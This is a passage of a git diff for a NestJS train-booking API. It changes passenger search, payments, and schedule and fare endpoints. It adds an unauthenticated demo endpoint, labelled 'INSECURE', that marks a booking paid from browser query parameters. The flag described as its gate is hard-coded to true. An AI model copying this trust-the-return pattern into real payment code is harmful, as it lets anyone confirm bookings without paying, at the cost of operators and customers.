+ this.logger.debug(`BULK SMS payload messages=${JSON.stringify(messages)}`);
+ return { queued: true };
}
}
diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts
index 12d9e5626..7171b56ad 100644
--- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts
+++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts
@@ -21,10 +21,11 @@ export class PassengersService {
const { search, verified, page = 1, pageSize = 20 } = filters;
const skip = (page - 1) * pageSize;
- const where: any = {};
+ const where: any = { user: { role: 'PASSENGER' } };
if (search) {
where.user = {
+ ...where.user,
OR: [
{ fullName: { contains: search, mode: 'insensitive' } },
{ email: { contains: search, mode: 'insensitive' } },
@@ -68,7 +69,7 @@ export class PassengersService {
userId: passenger.userId,
fullName: user.fullName,
email: user.email,
- phone: user.phone,
+ phone: user.phone?.startsWith('+guest-') ? null : user.phone,
nationalId: user.nationalId,
nationality: user.nationality,
dateOfBirth: user.dateOfBirth ?? null,
diff --git a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts
index 373e10513..a64c4ae9c 100644
--- a/apps/edr-passenger-api/src/modules/payments/payments.controller.ts
+++ b/apps/edr-passenger-api/src/modules/payments/payments.controller.ts
@@ -79,6 +79,28 @@ export class PaymentsController {
return this.service.getIntentByBookingId(bookingId);
}
+ @Get("waafi/return")
+ @ApiOperation({
+ summary:
+ "DEMO ONLY — confirm a Waafi payment from the browser-return params and return JSON for the " +
+ "UI to display. The frontend success page forwards the Waafi query params here. Gated by " +
+ "WAAFI_DEMO_TRUST_RETURN (INSECURE; real confirmation is the webhook/HPP_GETTRANINFO).",
+ })
+ @ApiQuery({ name: "referenceId", required: true })
+ @ApiQuery({ name: "state", required: true })
+ @ApiQuery({ name: "transactionId", required: false })
+ waafiReturn(
+ @Query("referenceId") referenceId: string,
+ @Query("state") state: string,
+ @Query("transactionId") transactionId: string,
+ ) {
+ return this.service.confirmWaafiReturnDemo({
+ referenceId,
+ state,
+ transactionId,
+ });
+ }
+
@Post("refund")
@UseGuards(JwtGuard, RolesGuard)
@Roles(UserRole.ADMIN, UserRole.STAFF, UserRole.AGENT)
diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.ts
index c017c6332..13569ffc4 100644
--- a/apps/edr-passenger-api/src/modules/payments/payments.service.ts
+++ b/apps/edr-passenger-api/src/modules/payments/payments.service.ts
@@ -44,6 +44,8 @@ export class PaymentsService {
private readonly logger = new Logger(PaymentsService.name);
private readonly walletDemoAutoSucceed = true;
+ private readonly waafiDemoTrustReturn = true;
+
constructor(
private prisma: PrismaService,
private seatsService: SeatsService,
@@ -135,7 +137,9 @@ export class PaymentsService {
referenceType: PaymentReferenceType.BOOKING,
referenceId: booking.id,
orderRef: booking.bookingRef,
- amountMinor: booking.totalMinor,
+ // Send the REAL (major) price, not minor units. The payment API no longer divides by 100
+ // (freight already passes the real price), so the providers charge this value as-is.
+ amountMinor: booking.totalMinor / 100,
currency: booking.currency,
provider: method as unknown as ProviderMethod,
platform: dto.platform,
@@ -192,6 +196,41 @@ export class PaymentsService {
return { returnUrl, failureUrl };
}
+ async confirmWaafiReturnDemo(params: {
+ referenceId?: string;
+ state?: string;
+ transactionId?: string;
+ }): Promise<{ confirmed: boolean; bookingId?: string; reason?: string }> {
+ if (!this.waafiDemoTrustReturn) {
+ return { confirmed: false, reason: "demo-disabled" };
+ }
+ if ((params.state ?? "").toUpperCase() !== "APPROVED") {
+ return { confirmed: false, reason: `not-approved (${params.state})` };
+ }
+ if (!params.referenceId) {
+ return { confirmed: false, reason: "missing-referenceId" };
+ }
+
+ const intent = await this.prisma.paymentIntent.findFirst({
+ where: { merchantOrderId: params.referenceId },
+ });
+ if (!intent) {
+ this.logger.warn(
+ `waafi demo return: no local intent for referenceId ${params.referenceId}`,
+ );
+ return { confirmed: false, reason: "intent-not-found" };
+ }
+
+ this.logger.warn(
+ `WAAFI_DEMO_TRUST_RETURN enabled — confirming booking ${intent.bookingId} from browser return (INSECURE, demo only)`,
+ );
+ await this.finalizePaymentSuccess({
+ intentId: intent.id,
+ providerTxnId: params.transactionId,
+ });
+ return { confirmed: true, bookingId: intent.bookingId };
+ }
+
private async syncIntentProjection(
bookingId: string,
snapshot: PaymentIntentSnapshot,
@@ -453,6 +492,30 @@ export class PaymentsService {
});
}
+ /**
+ * Guard against an implausible paidAt from a provider event (e.g. a Telebirr epoch parsed as
+ * ms×1000 → year 58429), which Prisma/Postgres rejects and would otherwise dead-letter the
+ * whole confirmation. Falls back to "now" for missing/invalid/far-future/ancient values so the
+ * booking still confirms.
+ */
+ private sanitizePaidAt(value?: Date): Date {
+ const now = new Date();
+ if (!value) return now;
+ const t = value.getTime();
+ const oneDayMs = 86_400_000;
+ if (
+ Number.isNaN(t) ||
+ t > now.getTime() + oneDayMs ||
+ t < Date.UTC(2000, 0, 1)
+ ) {
+ this.logger.warn(
+ `finalizePaymentSuccess: implausible paidAt (epoch=${t}); using current time instead`,
+ );
+ return now;
+ }
+ return value;
+ }
+
async finalizePaymentSuccess(input: {
intentId: string;
providerTxnId?: string;
@@ -477,7 +540,7 @@ export class PaymentsService {
});
if (!booking) throw new NotFoundException("Booking not found");
- const paidAt = input.paidAt ?? new Date();
+ const paidAt = this.sanitizePaidAt(input.paidAt);
await this.prisma.$transaction(async (tx) => {
await tx.paymentIntent.update({
where: { id: intent.id },
@@ -559,6 +622,12 @@ export class PaymentsService {
failureMessage: event.failureMessage,
});
}
+ const failedBooking = await this.prisma.booking.findUnique({
+ where: { id: event.referenceId },
+ });
+ if (failedBooking) {
+ this.eventEmitter.emit("payment.failed", { booking: failedBooking });
+ }
return { processed: true };
}
@@ -573,11 +642,15 @@ export class PaymentsService {
return { processed: false, reason: "booking-not-found" };
}
- if (booking.totalMinor !== event.amountMinor) {
+ // The event carries the REAL (major) price the provider charged (passenger now sends
+ // booking.totalMinor/100 on initiate), so convert it back to minor units before comparing
+ // with booking.totalMinor (which is in minor units).
+ const eventAmountMinor = Math.round(event.amountMinor * 100);
+ if (booking.totalMinor !== eventAmountMinor) {
// Refuse to confirm: a 4xx makes the relay retry and eventually flag the row FAILED,
// which is the alertable signal for an asserted-vs-paid amount divergence.
this.logger.error(
- `mark-paid: amount mismatch for booking ${booking.id}: booking=${booking.totalMinor} event=${event.amountMinor}`,
+ `mark-paid: amount mismatch for booking ${booking.id}: booking=${booking.totalMinor} event=${event.amountMinor} (=${eventAmountMinor} minor)`,
);
throw new BadRequestException(
"Event amount does not match booking total",
diff --git a/apps/edr-passenger-api/src/modules/schedules/schedules.controller.ts b/apps/edr-passenger-api/src/modules/schedules/schedules.controller.ts
index 8cb8ea253..378bc8fa7 100644
--- a/apps/edr-passenger-api/src/modules/schedules/schedules.controller.ts
+++ b/apps/edr-passenger-api/src/modules/schedules/schedules.controller.ts
@@ -12,34 +12,22 @@ export class SchedulesController {
@Post('bulk-generate')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({
- summary: 'Bulk generate repetitive schedules',
- description: 'Creates multiple schedules automatically by repeating every X days for the next Y days. Example: repeat every 2 days for 30 days = 15 schedules.',
- })
- @ApiResponse({ status: 201, description: 'Schedules generated successfully' })
- @ApiResponse({ status: 400, description: 'Invalid parameters or route not found' })
+ @ApiOperation({ summary: 'Bulk generate repetitive schedules' })
bulkGenerateSchedules(@Body() dto: BulkCreateSchedulesDto) {
return this.service.bulkGenerateSchedules(dto);
}
@Post()
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({
- summary: 'Create a train schedule from a route template',
- description: `Creates a schedule by referencing a Route (routeId).\nStops are automatically copied from the route's RouteStop definitions.\nYou supply the actual planned arrival/departure times per stop sequence.\nOrigin and destination are derived from the first and last route stop — no need to specify them manually.`,
- })
- @ApiResponse({ status: 201, description: 'Schedule created with stops copied from route template' })
- @ApiResponse({ status: 400, description: 'Invalid times, inactive route, or missing planned times for some stops' })
- @ApiResponse({ status: 404, description: 'Train or route not found' })
+ @ApiOperation({ summary: 'Create a train schedule from a route template' })
createSchedule(@Body() dto: CreateScheduleDto) { return this.service.createSchedule(dto); }
@Get()
@ApiOperation({ summary: 'List schedules with optional filters' })
- @ApiQuery({ name: 'date', required: false, example: '2026-06-15', description: 'Departure date (YYYY-MM-DD). Returns all schedules departing on this calendar day.' })
- @ApiQuery({ name: 'routeId', required: false, description: 'Filter by route UUID' })
- @ApiQuery({ name: 'trainId', required: false, description: 'Filter by train UUID' })
- @ApiQuery({ name: 'status', required: false, enum: TripStatus, description: 'Filter by schedule status' })
- @ApiResponse({ status: 200, description: 'Array of schedules ordered by departureAt, each with train, origin/destination, stops, and booking/assignment counts' })
+ @ApiQuery({ name: 'date', required: false })
+ @ApiQuery({ name: 'routeId', required: false })
+ @ApiQuery({ name: 'trainId', required: false })
+ @ApiQuery({ name: 'status', required: false, enum: TripStatus })
listSchedules(
@Query('date') date?: string,
@Query('routeId') routeId?: string,
@@ -57,57 +45,63 @@ export class SchedulesController {
@ApiResponse({ status: 201, description: 'Fare rule created' })
createFareRule(@Body() dto: CreateFareRuleDto) { return this.service.createFareRule(dto); }
+ @Patch('fares/:id')
+ @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
+ @ApiOperation({ summary: 'Update a fare rule' })
+ @ApiParam({ name: 'id', description: 'FareRule UUID' })
+ @ApiResponse({ status: 200, description: 'Fare rule updated' })
+ updateFareRule(@Param('id') id: string, @Body() dto: Partial) {
+ return this.service.updateFareRule(id, dto);
+ }
+
+ @Delete('fares/:id')
+ @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
+ @ApiOperation({ summary: 'Delete a fare rule' })
+ @ApiParam({ name: 'id', description: 'FareRule UUID' })
+ @ApiResponse({ status: 200, description: 'Fare rule deleted' })
+ deleteFareRule(@Param('id') id: string) { return this.service.deleteFareRule(id); }
+
@Post('segment-fares')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Create a segment fare rule (stop-to-stop pricing on a route)' })
- @ApiResponse({ status: 201, description: 'Segment fare rule created' })
+ @ApiOperation({ summary: 'Create a segment fare rule' })
createSegmentFareRule(@Body() dto: any) { return this.service.createSegmentFareRule(dto); }
@Get('routes/:routeId/segment-fares')
@ApiOperation({ summary: 'List all segment fare rules for a route' })
@ApiParam({ name: 'routeId', description: 'Route UUID' })
- @ApiResponse({ status: 200, description: 'List of segment fare rules' })
getSegmentFares(@Param('routeId') routeId: string) { return this.service.getSegmentFares(routeId); }
@Patch('segment-fares/:id')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
@ApiOperation({ summary: 'Update a segment fare rule' })
@ApiParam({ name: 'id', description: 'SegmentFareRule UUID' })
- @ApiResponse({ status: 200, description: 'Segment fare rule updated' })
updateSegmentFareRule(@Param('id') id: string, @Body() dto: any) { return this.service.updateSegmentFareRule(id, dto); }
@Delete('segment-fares/:id')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
@ApiOperation({ summary: 'Delete a segment fare rule' })
@ApiParam({ name: 'id', description: 'SegmentFareRule UUID' })
- @ApiResponse({ status: 200, description: 'Segment fare rule deleted' })
deleteSegmentFareRule(@Param('id') id: string) { return this.service.deleteSegmentFareRule(id); }
// ===== PARAMETRIZED ROUTES (generic :id routes come AFTER specific routes) =====
@Get(':id')
- @ApiOperation({ summary: 'Get schedule with train, coaches, seats, and stop timeline' })
+ @ApiOperation({ summary: 'Get schedule detail' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'Full schedule detail including route stops with station info' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
getSchedule(@Param('id') id: string) { return this.service.getSchedule(id); }
@Patch(':id')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Update a schedule (partial update - times, status, coaches)' })
+ @ApiOperation({ summary: 'Update a schedule (partial)' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'Schedule updated' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
updateSchedule(@Param('id') id: string, @Body() dto: UpdateScheduleDto) {
return this.service.updateSchedulePartial(id, dto);
}
@Patch(':id/status')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Update schedule status (SCHEDULED → BOARDING → EN_ROUTE → ARRIVED)' })
+ @ApiOperation({ summary: 'Update schedule status' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'Status updated' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
updateStatus(@Param('id') id: string, @Body() dto: UpdateScheduleStatusDto) {
return this.service.updateScheduleStatus(id, dto);
}
@@ -116,26 +110,18 @@ export class SchedulesController {
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
@ApiOperation({ summary: 'Delete a schedule' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'Schedule deleted' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
- deleteSchedule(@Param('id') id: string) {
- return this.service.deleteSchedule(id);
- }
+ deleteSchedule(@Param('id') id: string) { return this.service.deleteSchedule(id); }
@Get(':id/stops')
- @ApiOperation({ summary: 'List all stops for a schedule ordered by sequence' })
+ @ApiOperation({ summary: 'List all stops for a schedule' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'Ordered stop list with station details and planned/actual times' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
getStops(@Param('id') id: string) { return this.service.getStops(id); }
@Patch(':id/stops/:sequence')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Update planned times or live status of a specific stop' })
+ @ApiOperation({ summary: 'Update a stop time' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
@ApiParam({ name: 'sequence', description: 'Stop sequence number' })
- @ApiResponse({ status: 200, description: 'Stop updated' })
- @ApiResponse({ status: 404, description: 'Stop not found on schedule' })
updateStop(
@Param('id') id: string,
@Param('sequence', ParseIntPipe) sequence: number,
@@ -145,19 +131,26 @@ export class SchedulesController {
@Get(':scheduleId/fares/stored')
@ApiOperation({ summary: 'Get stored fare rules for a schedule' })
@ApiParam({ name: 'scheduleId', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'List of stored fare rules with seat class info' })
getStoredFares(@Param('scheduleId') scheduleId: string) {
return this.service.getFareRules(scheduleId);
}
- @Get(':scheduleId/fares')
- @ApiOperation({ summary: 'Get fare for a schedule and seat class from the fare engine' })
+ @Get(':scheduleId/fares/all')
+ @ApiOperation({ summary: 'Get fares for all active seat classes from the fare engine' })
@ApiParam({ name: 'scheduleId', description: 'TrainSchedule UUID' })
- @ApiQuery({ name: 'seatClassId', required: true, description: 'SeatClass UUID' })
- @ApiQuery({ name: 'nationality', required: false, description: 'Passenger nationality — determines billing currency (Ethiopian→ETB, Djiboutian→DJF, other→USD)' })
- @ApiResponse({ status: 200, description: 'Live fare breakdown from fare engine' })
- @ApiResponse({ status: 400, description: 'Schedule has no route or missing distanceKm on stops' })
- @ApiResponse({ status: 404, description: 'Schedule or seat class not found' })
+ @ApiQuery({ name: 'nationality', required: false })
+ getAllFares(
+ @Param('scheduleId') scheduleId: string,
+ @Query('nationality') nationality?: string,
+ ) {
+ return this.service.getAllFaresFromEngine(scheduleId, nationality);
+ }
+
+ @Get(':scheduleId/fares')
+ @ApiOperation({ summary: 'Get fare for a specific seat class from the fare engine' })
+ @ApiParam({ name: 'scheduleId', description: 'TrainSchedule UUID' })
+ @ApiQuery({ name: 'seatClassId', required: true })
+ @ApiQuery({ name: 'nationality', required: false })
getFare(
@Param('scheduleId') scheduleId: string,
@Query('seatClassId') seatClassId: string,
@@ -166,42 +159,15 @@ export class SchedulesController {
return this.service.getFareFromEngine(scheduleId, seatClassId, nationality);
}
- @Get(':scheduleId/fares/all')
- @ApiOperation({ summary: 'Get fares for all active seat classes on a schedule' })
- @ApiParam({ name: 'scheduleId', description: 'TrainSchedule UUID' })
- @ApiQuery({ name: 'nationality', required: false, description: 'Passenger nationality — determines billing currency' })
- @ApiResponse({ status: 200, description: 'Array of fare breakdowns for every active seat class, ordered by price ascending' })
- @ApiResponse({ status: 400, description: 'Schedule has no route or missing distanceKm on stops' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
- getAllFares(
- @Param('scheduleId') scheduleId: string,
- @Query('nationality') nationality?: string,
- ) {
- return this.service.getAllFaresFromEngine(scheduleId, nationality);
- }
-
@Post(':id/fares/sync')
- @ApiOperation({
- summary: 'Sync fares from fare engine',
- description: 'Recalculates fares for all active seat classes using the fare engine (km × ratePerKm + tax) and upserts them as FareRule records scoped to this schedule. Previous active rules are expired.',
- })
+ @ApiOperation({ summary: 'Sync fares from fare engine' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 201, description: 'Fares synced — returns count of synced rules and any errors' })
- @ApiResponse({ status: 400, description: 'Schedule has no associated route or missing distanceKm on stops' })
- @ApiResponse({ status: 404, description: 'Schedule not found' })
- syncFares(@Param('id') id: string) {
- return this.service.syncFaresFromEngine(id);
- }
+ syncFares(@Param('id') id: string) { return this.service.syncFaresFromEngine(id); }
@Post(':id/coaches')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({
- summary: 'Assign coaches to a schedule',
- description: 'Assigns selected coaches to a schedule with their position numbers. Replaces any existing coach assignments.'
- })
+ @ApiOperation({ summary: 'Assign coaches to a schedule' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 201, description: 'Coaches assigned successfully' })
- @ApiResponse({ status: 404, description: 'Schedule or coach not found' })
assignCoaches(
@Param('id') id: string,
@Body() dto: { coaches: Array<{ coachId: string; positionNumber: number }> },
@@ -212,21 +178,14 @@ export class SchedulesController {
@Get(':id/coaches')
@ApiOperation({ summary: 'Get assigned coaches for a schedule' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
- @ApiResponse({ status: 200, description: 'List of assigned coaches with seat details' })
- getAssignedCoaches(@Param('id') id: string) {
- return this.service.getAssignedCoaches(id);
- }
+ getAssignedCoaches(@Param('id') id: string) { return this.service.getAssignedCoaches(id); }
@Delete(':id/coaches/:coachId')
@UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth')
- @ApiOperation({ summary: 'Remove a coach assignment from a schedule' })
+ @ApiOperation({ summary: 'Remove a coach assignment' })
@ApiParam({ name: 'id', description: 'TrainSchedule UUID' })
@ApiParam({ name: 'coachId', description: 'Coach UUID' })
- @ApiResponse({ status: 200, description: 'Coach assignment removed' })
- removeCoachAssignment(
- @Param('id') id: string,
- @Param('coachId') coachId: string,
- ) {
+ removeCoachAssignment(@Param('id') id: string, @Param('coachId') coachId: string) {
return this.service.removeCoachAssignment(id, coachId);
}
}
diff --git a/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts b/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts
index fcad059f4..4e422f2ad 100644
--- a/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts
+++ b/apps/edr-passenger-api/src/modules/schedules/schedules.dto.ts
@@ -98,6 +98,10 @@ export class BulkCreateSchedulesDto {
@ApiPropertyOptional({ type: [PlannedStopTimeDto], description: 'Optional custom planned times per stop. If not provided, will auto-generate.' })
@IsOptional() @IsArray() @ValidateNested({ each: true }) @Type(() => PlannedStopTimeDto)
plannedTimes?: PlannedStopTimeDto[];
+
+ @ApiPropertyOptional({ type: [String], description: 'Optional coach UUIDs to assign to every generated schedule' })
+ @IsOptional() @IsArray() @IsString({ each: true })
+ coachIds?: string[];
}
export class BulkSchedulesResponseDto {
diff --git a/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts b/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts
index f7ef5487f..0234824d1 100644
--- a/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts
+++ b/apps/edr-passenger-api/src/modules/schedules/schedules.service.ts
@@ -18,7 +18,6 @@ export class SchedulesService {
const errors: string[] = [];
const scheduleIds: string[] = [];
- // Validate route and get stops for plannedTimes generation
const route = await this.prisma.route.findUnique({
where: { id: dto.routeId },
include: { stops: { orderBy: { sequence: 'asc' } } },
@@ -44,20 +43,23 @@ export class SchedulesService {
const schedule = await this.createSchedule(createDto);
scheduleIds.push(schedule.id);
+
+ if (dto.coachIds && dto.coachIds.length > 0) {
+ await this.assignCoaches(
+ schedule.id,
+ dto.coachIds.map((coachId, idx) => ({ coachId, positionNumber: idx + 1 })),
+ );
+ }
+
scheduleCount++;
} catch (error) {
errors.push(`Failed to create schedule for ${currentDate.toISOString()}: ${error instanceof Error ? error.message : String(error)}`);
}
- // Move to next repetition
currentDate = new Date(currentDate.getTime() + dto.repeatEveryDays * 24 * 60 * 60 * 1000);
}
- return {
- schedulesCreated: scheduleCount,
- errors,
- scheduleIds,
- };
+ return { schedulesCreated: scheduleCount, errors, scheduleIds };
}
async listSchedules(dto: ListSchedulesDto) {
@@ -95,7 +97,6 @@ export class SchedulesService {
const arr = new Date(dto.arrivalAt);
if (arr <= dep) throw new BadRequestException('arrivalAt must be after departureAt');
- // Validate route exists and has stops
const route = await this.prisma.route.findUnique({
where: { id: dto.routeId },
include: { stops: { orderBy: { sequence: 'asc' } } },
@@ -104,21 +105,13 @@ export class SchedulesService {
if (!route.active) throw new BadRequestException('Route is not active');
if (route.stops.length < 2) throw new BadRequestException('Route must have at least 2 stops');
- // Check for duplicate schedule with same train, route, and date
const depDate = new Date(dep);
depDate.setHours(0, 0, 0, 0);
const nextDay = new Date(depDate);
nextDay.setDate(nextDay.getDate() + 1);
const existingSchedule = await this.prisma.trainSchedule.findFirst({
- where: {
- trainId: dto.trainId,
- routeId: dto.routeId,
- departureAt: {
- gte: depDate,
- lt: nextDay,
- },
- },
+ where: { trainId: dto.trainId, routeId: dto.routeId, departureAt: { gte: depDate, lt: nextDay } },
});
if (existingSchedule) {
@@ -127,7 +120,6 @@ export class SchedulesService {
);
}
- // Auto-generate plannedTimes if not provided or empty
let plannedTimes = dto.plannedTimes;
if (!plannedTimes || plannedTimes.length === 0) {
const totalDuration = arr.getTime() - dep.getTime();
@@ -135,7 +127,6 @@ export class SchedulesService {
plannedTimes = route.stops.map((stop, index) => {
let stopTime: Date;
-
if (index === 0) {
stopTime = dep;
} else if (index === route.stops.length - 1) {
@@ -145,7 +136,6 @@ export class SchedulesService {
const progress = totalDistance > 0 ? stopDistance / totalDistance : index / (route.stops.length - 1);
stopTime = new Date(dep.getTime() + totalDuration * progress);
}
-
return {
sequence: stop.sequence,
plannedArrivalAt: index === 0 ? undefined : stopTime.toISOString(),
@@ -154,14 +144,12 @@ export class SchedulesService {
});
}
- // Validate all route stop sequences are covered by plannedTimes
const providedSeqs = new Set(plannedTimes.map(t => t.sequence));
const missingSeqs = route.stops.map(s => s.sequence).filter(seq => !providedSeqs.has(seq));
if (missingSeqs.length > 0) {
throw new BadRequestException(`Missing planned times for stop sequences: ${missingSeqs.join(', ')}`);
}
- // Derive origin and destination from first and last route stop
const firstStop = route.stops[0];
const lastStop = route.stops[route.stops.length - 1];
@@ -179,9 +167,7 @@ export class SchedulesService {
include: { train: true, originStation: true, destinationStation: true },
});
- const plannedTimesMap = Object.fromEntries(
- plannedTimes.map(t => [t.sequence, t]),
- );
+ const plannedTimesMap = Object.fromEntries(plannedTimes.map(t => [t.sequence, t]));
await this.routesService.applyRouteToSchedule(dto.routeId, schedule.id, plannedTimesMap);
return this.getSchedule(schedule.id);
@@ -221,10 +207,7 @@ export class SchedulesService {
};
}
- private async resolveEffectiveStatuses(
- scheduleId: string,
- seatIds: string[],
- ): Promise> {
+ private async resolveEffectiveStatuses(scheduleId: string, seatIds: string[]): Promise> {
const statusMap = new Map();
if (seatIds.length === 0) return statusMap;
@@ -295,7 +278,6 @@ export class SchedulesService {
plannedTimes = route.stops.map((stop, index) => {
let stopTime: Date;
-
if (index === 0) {
stopTime = dep;
} else if (index === route.stops.length - 1) {
@@ -305,7 +287,6 @@ export class SchedulesService {
const progress = totalDistance > 0 ? stopDistance / totalDistance : index / (route.stops.length - 1);
stopTime = new Date(dep.getTime() + totalDuration * progress);
}
-
return {
sequence: stop.sequence,
plannedArrivalAt: index === 0 ? undefined : stopTime.toISOString(),
@@ -314,9 +295,7 @@ export class SchedulesService {
});
}
- const plannedTimesMap = Object.fromEntries(
- plannedTimes.map(t => [t.sequence, t]),
- );
+ const plannedTimesMap = Object.fromEntries(plannedTimes.map(t => [t.sequence, t]));
await this.routesService.applyRouteToSchedule(dto.routeId, id, plannedTimesMap);
return this.getSchedule(id);
@@ -367,9 +346,35 @@ export class SchedulesService {
validFrom: new Date(validFrom),
validUntil: validUntil ? new Date(validUntil) : null,
},
+ include: { seatClass: true },
});
}
+ async updateFareRule(id: string, dto: Partial) {
+ const existing = await this.prisma.fareRule.findUnique({ where: { id } });
+ if (!existing) throw new NotFoundException('Fare rule not found');
+
+ const { validFrom, validUntil, scheduleId, nationality, passengerCategory, ...rest } = dto;
+ return this.prisma.fareRule.update({
+ where: { id },
+ data: {
+ ...rest,
+ ...(scheduleId !== undefined && { tripId: scheduleId }),
+ ...(nationality !== undefined && { nationality }),
+ ...(validFrom && { validFrom: new Date(validFrom) }),
+ ...(validUntil !== undefined && { validUntil: validUntil ? new Date(validUntil) : null }),
+ },
+ include: { seatClass: true },
+ });
+ }
+
+ async deleteFareRule(id: string) {
+ const existing = await this.prisma.fareRule.findUnique({ where: { id } });
+ if (!existing) throw new NotFoundException('Fare rule not found');
+ await this.prisma.fareRule.delete({ where: { id } });
+ return { deleted: true, id };
+ }
+
createSegmentFareRule(dto: any) {
const { validFrom, validUntil, passengerCategory, ...rest } = dto;
return this.prisma.segmentFareRule.create({
@@ -410,7 +415,6 @@ export class SchedulesService {
async getFareRules(scheduleId?: string) {
const where: any = {};
if (scheduleId) where.tripId = scheduleId;
-
return this.prisma.fareRule.findMany({
where,
include: { seatClass: true },
@@ -430,11 +434,10 @@ export class SchedulesService {
});
if (!schedule) throw new NotFoundException('Schedule not found');
if (!schedule.routeId) throw new BadRequestException('Schedule has no associated route');
-
return await this.fareEngine.calculateAllForSchedule(scheduleId, nationality);
} catch (error) {
throw new BadRequestException(
- error instanceof Error ? error.message : 'Failed to calculate fares for schedule'
+ error instanceof Error ? error.message : 'Failed to calculate fares for schedule',
);
}
}
@@ -474,20 +477,13 @@ export class SchedulesService {
return { synced, errors };
}
- async assignCoaches(
- scheduleId: string,
- coaches: Array<{ coachId: string; positionNumber: number }>,
- ) {
+ async assignCoaches(scheduleId: string, coaches: Array<{ coachId: string; positionNumber: number }>) {
const schedule = await this.prisma.trainSchedule.findUnique({ where: { id: scheduleId } });
if (!schedule) throw new NotFoundException('Schedule not found');
const coachIds = coaches.map(c => c.coachId);
- const existingCoaches = await this.prisma.coach.findMany({
- where: { id: { in: coachIds } },
- });
- if (existingCoaches.length !== coachIds.length) {
- throw new NotFoundException('One or more coaches not found');
- }
+ const existingCoaches = await this.prisma.coach.findMany({ where: { id: { in: coachIds } } });
+ if (existingCoaches.length !== coachIds.length) throw new NotFoundException('One or more coaches not found');
await this.prisma.coachAssignment.deleteMany({ where: { scheduleId } });
@@ -499,20 +495,13 @@ export class SchedulesService {
}));
await this.prisma.coachAssignment.createMany({ data });
-
return { message: 'Coaches assigned successfully', count: coaches.length };
}
async getAssignedCoaches(scheduleId: string) {
return this.prisma.coachAssignment.findMany({
where: { scheduleId },
- include: {
- coach: {
- include: {
- seats: { orderBy: [{ row: 'asc' }, { col: 'asc' }] },
- },
- },
- },
+ include: { coach: { include: { seats: { orderBy: [{ row: 'asc' }, { col: 'asc' }] } } } },
orderBy: { positionNumber: 'asc' },
});
}
@@ -526,30 +515,22 @@ export class SchedulesService {
if (dto.departureAt || dto.arrivalAt) {
const dep = dto.departureAt ? new Date(dto.departureAt) : new Date(schedule.departureAt);
const arr = dto.arrivalAt ? new Date(dto.arrivalAt) : new Date(schedule.arrivalAt);
-
if (arr <= dep) throw new BadRequestException('Arrival time must be after departure time');
-
updateData.departureAt = dep;
updateData.arrivalAt = arr;
updateData.durationMinutes = Math.round((arr.getTime() - dep.getTime()) / 60_000);
}
- if (dto.status) {
- updateData.status = dto.status;
- }
+ if (dto.status) updateData.status = dto.status;
if (Object.keys(updateData).length > 0) {
- await this.prisma.trainSchedule.update({
- where: { id },
- data: updateData,
- });
+ await this.prisma.trainSchedule.update({ where: { id }, data: updateData });
}
if (dto.coaches !== undefined) {
if (dto.coaches.length > 0) {
await this.assignCoaches(id, dto.coaches);
} else {
- // Remove all coach assignments when empty array is sent
await this.prisma.coachAssignment.deleteMany({ where: { scheduleId: id } });
}
}
@@ -558,12 +539,9 @@ export class SchedulesService {
}
async removeCoachAssignment(scheduleId: string, coachId: string) {
- const assignment = await this.prisma.coachAssignment.findFirst({
- where: { scheduleId, coachId },
- });
+ const assignment = await this.prisma.coachAssignment.findFirst({ where: { scheduleId, coachId } });
if (!assignment) throw new NotFoundException('Coach assignment not found');
-
await this.prisma.coachAssignment.delete({ where: { id: assignment.id } });
return { message: 'Coach assignment removed' };
}
-}
\ No newline at end of file
+}
diff --git a/apps/edr-passenger-api/src/modules/search/search.dto.ts b/apps/edr-passenger-api/src/modules/search/search.dto.ts
index b1d4c371f..9eb035ef2 100644
